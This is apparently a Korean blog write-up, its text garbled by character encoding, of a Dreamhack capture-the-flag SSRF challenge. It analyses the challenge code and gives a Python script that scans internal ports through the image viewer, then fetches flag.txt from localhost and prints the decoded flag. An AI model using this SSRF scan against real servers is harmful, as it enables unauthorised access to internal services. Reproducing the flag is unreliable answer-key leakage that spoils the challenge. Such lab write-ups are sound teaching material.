5 - 1 - 1. Web - SSRF ์ทจ์ฝ์ ์ค์ต
# Web - SSRF
1. ๋ฌธ์ ํ์ธ ํ ๋ฌธ์ ํ์ผ ๋ค์ด๋ก๋
2. ๋ฌธ์ ์ app.py ํ์ผ์ ์ฝ๋ ๋ถ์
+ << Line 27 ~ 28 >>
: /img_viewer.html ์ GET, POST ๋ ๊ฐ์ง์ ์์ฒญ์ ์ฒ๋ฆฌ
+ << Line 29 ~ 30 >>
: GET ์ ๊ฒฝ์ฐ
--> img_viewer.html ์ ๋ ๋๋ง
: POST ์ ๊ฒฝ์ฐ
--> ์ฌ์ฉ์๊ฐ ์ ๋ ฅํ URL์ HTTP ์์ฒญ ์ ์ก ํ ๊ทธ์ ๋ํ ์๋ต์ img_viewer.html ์ ์ธ์๋ก ํ์ฌ ๋ ๋๋ง
+ << Line 36 ~ 38 >>
: ์๋ฒ ์ฃผ์์ "127.0.0.1" ์ด๋ "localhost" ๊ฐ ํฌํจ๋ URL๋ก์ ์ ๊ทผ ์ ํ
--> ์ฌ์ฉ์์ ์ํด ์ ๋ ฅ๋ ๋ฌธ์์ด ์์ ์ ๋ ์์๊ฐ ์๋ค๋ฉด error.png ๋ฐํ
+ << Line 49 >>
: http (=ํ์ด์ฌ ๊ธฐ๋ณธ ๋ชจ๋) ๋ฅผ ์ด์ฉํ์ฌ ์์ ํฌํธ( = 127.0.0.1 )์ HTTP ์๋ฒ ์คํ
: ํธ์คํธ๊ฐ 127.0.0.1 --> ์ธ๋ถ์์์ ์๋ฒ ์ ๊ทผ ๋ฐฉ์ง
+ << Line 50 >>
: ํฌํธ ๋ฒํธ๋ 1500 ~ 1800 ์ฌ์ด์ ์์์ ์
--> ์์ ๋ฒ์๊ฐ ๋๋ฌด ๋์ด ์ง์ ๋์ ์ ์ด๋ ค์
+ << Line 51 ~ 53 >>
: http.server.HTTPServer ์ ๋ ๋ฒ์งธ ์ธ์๋ก http.server.SimpleHTTPRequestHandler ์ ์ ๋ฌ
--> ๋ฆฌ์์ค ๋ฐํ ์น ์๋ฒ ์์ฑ
+ << Line 60 >>
: ํ ์ค๋ ๋๋ก local_server ์คํ
3. ํฌํธ๋ฒํธ๋ฅผ ์์๋ด๊ธฐ ์ํ Python ์คํฌ๋ฆฝํธ ์์ฑ
import requests
import sys
from tqdm import tqdm
NOTFOUND_IMG = "iVBORw0KG"
def send_img(img_url):
global chall_url
data = {
"url": img_url,
}
response = requests.post(chall_url, data=data)
return response.text
def find_port():
for port in tqdm(range(1500, 1801)):
img_url = f"http://Localhost:{port}"
if NOTFOUND_IMG not in send_img(img_url):
print(f"Internal port number is: {port}")
break
return port
if __name__ == "__main__":
chall_port = 11090
chall_url = f"http://host1.dreamhack.games:{chall_port}/img_viewer"
internal_port = find_port()
4. VScode ์์ ์์ฑํ Python ์คํฌ๋ฆฝํธ ์คํ
+ ํ๋ก๊ทธ๋จ ์คํ ๊ฒฐ๊ณผ ํฌํธ ๋ฒํธ๋ 1517์์ ํ์ธ
5. ์ ์ ์ ๋ณด ํ์ธ ํ ์๋ด๋ ๋งํฌ์ธ http://host1.dreamhack.games:11090/ ์ผ๋ก ์ ์
6. Image Viewer ํ์ด์ง๋ก ์ด๋ ํ ์ฐพ์๋ธ ํฌํธ ๋ฒํธ(=1517)๋ฅผ ์ด์ฉํ์ฌ ์๋์ ๊ฐ์ด URL ์ ๋ ฅ
+ http://Localhost:1517/flag.txt ์ url ์ ๋ ฅ๋์ ์ ๋ ฅ
7. url ์ ๋ ฅ ํ F12๋ฅผ ํตํด ๊ฐ๋ฐ์ ๋๊ตฌ ์คํ
+ ๊ฐ๋ฐ์ ๋๊ตฌ์ img ๋ถ๋ถ์์ 64base๋ก ์ธ์ฝ๋ฉ๋ ์ํ์ Flag๋ฅผ ๋ฐ๊ฒฌ
8. REh7NDNkZDIxODkwNTY0NzVhN2YzYmQxMTQ1NmExN2FkNzF9 ๋ถ๋ถ์ 64bit ๋์ฝ๋๋ฅผ ์ด์ฉํ์ฌ ๋์ฝ๋ฉ
+ Flag๋ DH{43dd2189056475a7f3bd11456a17ad71} ์์ ํ์ธ
'โ๏ธ Web Hacking > Dreamhack' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
[Dreamhack] Proxy-1 ๋๋ฆผํต ์๊ฒ์ ๋ฌธ์ ํ์ด (0) | 2022.11.07 |
---|---|
[Dreamhack] Blind - Command ๋๋ฆผํต ์๊ฒ์ ๋ฌธ์ ํ์ด (0) | 2022.11.03 |
[Dreamhack] File Download - 1 ๋๋ฆผํต ์๊ฒ์ ๋ฌธ์ ํ์ด (0) | 2022.11.01 |
[Dreamhack] Image - Storage ๋๋ฆผํต ์๊ฒ์ ๋ฌธ์ ํ์ด (0) | 2022.11.01 |
[Dreamhack] Crave Party ๋๋ฆผํต ์๊ฒ์ ๋ฌธ์ ํ์ด (0) | 2022.10.06 |